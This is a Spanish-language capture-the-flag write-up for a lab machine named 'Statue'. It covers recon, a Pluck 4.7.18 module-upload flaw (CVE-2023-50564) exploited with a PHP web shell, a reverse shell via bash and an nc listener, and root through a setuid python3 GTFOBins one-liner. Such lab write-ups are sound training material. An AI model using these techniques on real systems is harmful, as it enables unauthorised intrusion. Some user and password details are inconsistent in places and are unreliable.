Statue
🎯 Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sC -sV -Pn 192.168.1.126
-
-sC: Ejecuta scripts predeterminados para obtener información adicional sobre los servicios. -
-sV: Detecta las versiones de los servicios en los puertos abiertos. -
-Pn: Omite el escaneo de ping, asumiendo que el host está activo.

👀 Detectamos los siguientes servicios activos: -
🛡️ SSH
-
🌐 HTTP
Al acceder al servicio HTTP mediante su página principal, no parece haber contenido relevante.

Para que la página web funcione correctamente, debemos editar el archivo/etc/hostsen nuestra máquina atacante para asociar el dominiostatue.thlcon la IP del objetivo.
¡Ya funciona la página! ✅

Ya funciona la página

✅
🕵️♂️ Análisis de vulnerabilidades
Identificamos que el servidor utiliza Pluck 4.7.18, con una vulnerabilidad conocida (CVE-2023-50564).
⚠️ Esta vulnerabilidad requiere estar autenticado para explotarla. No podemos hacer fuerza bruta porque hay intentos bloqueados.
Realizamos un escaneo de directorios para buscar documentos o info relevante:


Realizamos un escaneo de directorios para buscar documentos o información relevante que pueda ayudarnos en nuestra investigación:
gobuster dir \
-u http://statue.thl \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x md,php,txt
gobuster dir: Indica que se realizará una búsqueda de directorios y archivos.-u http://statue.thl: Especifica la URL del objetivo.-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Define la ubicación del diccionario de palabras para la búsqueda.-x md,php,txt: Indica las extensiones de archivo a buscar.
Durante el escaneo, encontramos un archivo interesante llamadoREADME.md. Accedemos al archivo desde el navegador o utilizando un comando comocurlpara inspeccionar su contenido y analizar cualquier información relevante que pueda proporcionar.
🎯 Explotación
El contenido del archivo parece estar codificado en Base64. Lo decodificamos:
base64 -d README.md > decoded_text.txt

Para decodificar múltiples niveles de Base64, usamos CyberChef con la opción "Wrap in loop" y configuramos 16 iteraciones. 🔄
La contraseña para el login es fideicomiso. Con esta, accedemos al login y aprovechamos la vulnerabilidad para subir un archivo ZIP con código PHP malicioso.

La contraseña para el login es fideicomiso. Una vez que accedemos al login con esta contraseña, aprovechamos el exploit que habíamos identificado anteriormente para obtener acceso o realizar la escalada de privilegios necesaria en el sistema.
La vulnerabilidad permite subir un archivo ZIP que contiene un archivo PHP malicioso en el apartado modules de la aplicación web. Aquí está el proceso resumido:
La vulnerabilidad consiste en subir un zip que tiene un php malicioso en el apartado modules
Creamos un archivo PHP que permita ejecutar comandos desde el navegador web. El contenido del archivo es el siguiente

Lo metemos en un zip con el comando
zip malicious.zip malicious.php
-
Vamos a
options/managemodules, clic enInstall a module, y subimos nuestro ZIP. -
Luego accedemos a:
http://statue.thl/data/modules/<tu zip>
Ejecutamos comandos como whoami con la URL:
http://statue.thl/data/modules/hola/comando.php?cmd=whoami
El sistema ejecuta el comando proporcionado, lo que nos permite aprovecharlo para obtener un reverse shell. Para ello, accedemos a la página Revshells.com, donde indicamos nuestra IP de atacante y el puerto que queremos utilizar. A continuación, seleccionamos la opción URL encode. La URL generada se utiliza de la siguiente forma:
?cmd=bash -c '<El URL encodeado>'
Una vez configurado, en la máquina atacante, abrimos el puerto previamente seleccionado en Revshells con el siguiente comando y recargamos la página.
nc -lvnp 6969
De esta manera, establecemos una conexión de reverse shell y obtenemos acceso a la máquina objetivo.

Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.
📈 Escalada de privilegios
Navegando por los directorios el directorio /var/www/Charles-Wheatstone parece interesante y dentro hay un pass.txt

La clave parece estar codificada en Base64. Para decodificarla correctamente, utilizamos CyberChef y aplicamos 6 decodificaciones consecutivas de Base64. El resultado final revela que la clave es guardar.

El nombre de la carpeta es Charles Wheatstone, por lo que investigamos quién es. Descubrimos que Charles inventó la técnica de codificación Playfair, que utiliza una clave para decodificar mensajes. Supusimos que la clave sería guardar, encontrada anteriormente.
Utilizamos una herramienta en línea para decodificar Playfair. Ingresamos el texto cifrado KIBPKSAFMTOIQL junto con la clave guardar. El resultado de la decodificación nos revela que la contraseña es INCOMPRENSIBLE.

Hay dos usuarios charles y juan asi que será la contraseña juan. Cambiamos al usuario juan con el y ponemos la contraseña INCROMPRENSIBLE. No se porque pero hay que poner en minúscula
su charles

Ya hemos iniciado sesión como el usuario charles.
Dentro de su directorio, encontramos un archivo llamado binario, el cual parece contener un mensaje oculto.

Para analizar el archivo binario correctamente, abrimos un servidor web en la máquina víctima utilizando el siguiente comando:
python3 -m http.server 8080
En la máquina atacante, descargamos el archivo binario con el siguiente comando:
wget http://192.168.1.126:8080/binario
Para analizar el contenido del binario, utilizamos la herramienta strings para extraer las cadenas de texto:
strings binario

Al analizar las cadenas, encontramos el nombre de un usuario y la palabra generador. Probamos a usar este generador como contraseña y logramos iniciar sesión como el usuario juan. El siguiente paso sería escalar nuestros privilegios a root.
Ejecutamos el siguiente comando para buscar archivos con el bit de setuid (permiso de ejecución como propietario)
find / -perm -4000 -type f 2> /dev/null
Esto nos llama la atención sobre python 3.12. Consultamos la página de GTFOBins, para encontrar una manera de usar Python para obtener privilegios de administrador:
python3 -c 'import os; os.execl("/bin/bash", "sh", "-p")'
Con esto, hemos escalado a root y tenemos acceso completo al sistema.
